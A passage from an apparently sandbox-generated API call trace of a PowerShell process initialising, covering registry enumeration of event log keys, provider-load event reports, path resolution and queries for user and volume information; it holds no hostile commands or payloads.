lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be664*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.860] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x0, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.860] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x1, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.860] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x2, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.860] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x3, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.860] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x4, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.861] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x5, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.861] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x6, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.861] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x7, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.861] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x8, lpName=0x67b350, lpcchName=0x2be684, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2be684, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.861] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x384) returned 0x0 [0150.861] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x0) returned 0x2 [0150.862] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3a8) returned 0x0 [0150.862] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x0) returned 0x2 [0150.862] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3ac) returned 0x0 [0150.862] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x0) returned 0x2 [0150.863] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3b0) returned 0x0 [0150.864] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x0) returned 0x2 [0150.864] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3b4) returned 0x0 [0150.864] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x0) returned 0x2 [0150.865] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3b8) returned 0x0 [0150.865] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x0) returned 0x2 [0150.865] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3bc) returned 0x0 [0150.865] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x0) returned 0x2 [0150.866] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3c0) returned 0x0 [0150.866] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x0) returned 0x2 [0150.866] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3c4) returned 0x0 [0150.867] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be630 | out: phkResult=0x2be630*=0x3c8) returned 0x0 [0150.867] RegCloseKey (hKey=0x3c8) returned 0x0 [0150.867] RegCloseKey (hKey=0x3a4) returned 0x0 [0150.868] RegCloseKey (hKey=0x3c4) returned 0x0 [0150.891] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x5000004 [0151.002] GetLastError () returned 0x0 [0151.004] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x346c668*="WSMan", lpRawData=0x346c510) returned 1 [0151.015] GetLastError () returned 0x0 [0151.017] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.017] GetLastError () returned 0xcb [0151.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.019] GetLastError () returned 0xcb [0151.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.019] GetLastError () returned 0xcb [0151.019] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.019] GetLastError () returned 0xcb [0151.020] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be7a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be7a4) returned 0x1 [0151.021] GetLastError () returned 0xcb [0151.022] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be7ac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be7ac) returned 1 [0151.023] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3470544*="Alias", lpRawData=0x3470400) returned 1 [0151.023] GetLastError () returned 0x0 [0151.026] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.026] GetLastError () returned 0xcb [0151.027] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.027] GetLastError () returned 0xcb [0151.027] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.027] GetLastError () returned 0xcb [0151.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.028] GetLastError () returned 0xcb [0151.029] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be7a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be7a4) returned 0x1 [0151.030] GetLastError () returned 0xcb [0151.030] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be7ac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be7ac) returned 1 [0151.031] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x34744d8*="Environment", lpRawData=0x3474394) returned 1 [0151.032] GetLastError () returned 0x0 [0151.034] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.034] GetLastError () returned 0xcb [0151.037] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0151.037] GetLastError () returned 0xcb [0151.037] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0151.037] GetLastError () returned 0xcb [0151.038] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2be2d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0151.038] GetLastError () returned 0xcb [0151.038] SetErrorMode (uMode=0x1) returned 0x1 [0151.038] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2be754 | out: lpFileInformation=0x2be754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.038] GetLastError () returned 0xcb [0151.038] SetErrorMode (uMode=0x1) returned 0x1 [0151.044] GetLogicalDrives () returned 0x4 [0151.045] GetLastError () returned 0xcb [0151.047] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2be1f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.047] GetLastError () returned 0xcb [0151.051] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0151.051] GetLastError () returned 0xcb [0151.051] SetErrorMode (uMode=0x1) returned 0x1 [0151.055] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x67b450, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x2be720, lpMaximumComponentLength=0x2be71c, lpFileSystemFlags=0x2be718, lpFileSystemNameBuffer=0x67b350, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2be720*=0x9c354b42, lpMaximumComponentLength=0x2be71c*=0xff, lpFileSystemFlags=0x2be718*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0151.056] GetLastError () returned 0xcb [0151.056] SetErrorMode (uMode=0x1) returned 0x1 [0151.056] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0151.057] GetLastError () returned 0xcb [0151.057] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2be280, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.057] GetLastError () returned 0xcb [0151.057] SetErrorMode (uMode=0x1) returned 0x1 [0151.057] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3475710 | out: lpFileInformation=0x3475710*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.057] GetLastError () returned 0xcb [0151.057] SetErrorMode (uMode=0x1) returned 0x1 [0151.057] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2be280, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.057] GetLastError () returned 0xcb [0151.057] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2be20c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.058] GetLastError () returned 0xcb [0151.058] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0151.058] GetLastError () returned 0xcb [0151.061] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2be1c8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.061] GetLastError () returned 0xcb [0151.061] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0151.061] GetLastError () returned 0xcb [0151.063] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2be1d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.063] GetLastError () returned 0xcb [0151.063] SetErrorMode (uMode=0x1) returned 0x1 [0151.063] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3476368 | out: lpFileInformation=0x3476368*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.063] GetLastError () returned 0xcb [0151.063] SetErrorMode (uMode=0x1) returned 0x1 [0151.063] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2be1d8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.064] GetLastError () returned 0xcb [0151.064] SetErrorMode (uMode=0x1) returned 0x1 [0151.064] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x34764b8 | out: lpFileInformation=0x34764b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.064] GetLastError () returned 0xcb [0151.064] SetErrorMode (uMode=0x1) returned 0x1 [0151.064] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2be21c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.064] GetLastError () returned 0xcb [0151.064] SetErrorMode (uMode=0x1) returned 0x1 [0151.065] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3476658 | out: lpFileInformation=0x3476658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0151.065] GetLastError () returned 0xcb [0151.065] SetErrorMode (uMode=0x1) returned 0x1 [0151.065] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be7a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be7a4) returned 0x1 [0151.066] GetLastError () returned 0xcb [0151.066] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be7ac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be7ac) returned 1 [0151.068] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x34793e0*="FileSystem", lpRawData=0x347929c) returned 1 [0151.068] GetLastError () returned 0x0 [0151.070] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.070] GetLastError () returned 0xcb [0151.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.072] GetLastError () returned 0xcb [0151.072] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.072] GetLastError () returned 0xcb [0151.073] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.073] GetLastError () returned 0xcb [0151.073] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be7a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be7a4) returned 0x1 [0151.073] GetLastError () returned 0xcb [0151.074] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be7ac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be7ac) returned 1 [0151.075] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x347d4d0*="Function", lpRawData=0x347d38c) returned 1 [0151.076] GetLastError () returned 0x0 [0151.083] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.083] GetLastError () returned 0xcb [0151.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.095] GetLastError () returned 0xcb [0151.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be168, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.095] GetLastError () returned 0xcb [0151.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be168, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.096] GetLastError () returned 0xcb [0151.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be168, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.096] GetLastError () returned 0xcb [0151.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.250] GetLastError () returned 0xcb [0151.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be168, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.250] GetLastError () returned 0xcb [0151.251] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be168, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.251] GetLastError () returned 0xcb [0151.254] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be7a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be7a4) returned 0x1 [0151.254] GetLastError () returned 0xcb [0151.254] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be7ac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be7ac) returned 1 [0151.256] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x349658c*="Registry", lpRawData=0x3496448) returned 1 [0151.256] GetLastError () returned 0x0 [0151.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be1a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.259] GetLastError () returned 0x0 [0151.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.259] GetLastError () returned 0x0 [0151.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0151.259] GetLastError () returned 0x0 [0151.261] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be7a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be7a4) returned 0x1 [0151.261] GetLastError () returned 0x0 [0151.262] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be7ac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be7ac) returned 1 [0151.263] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x349a374*="Variable", lpRawData=0x349a230) returned 1 [0151.263] GetLastError () returned 0x0 [0151.267] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.267] GetLastError () returned 0xcb [0151.273] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0151.273] GetLastError () returned 0xcb 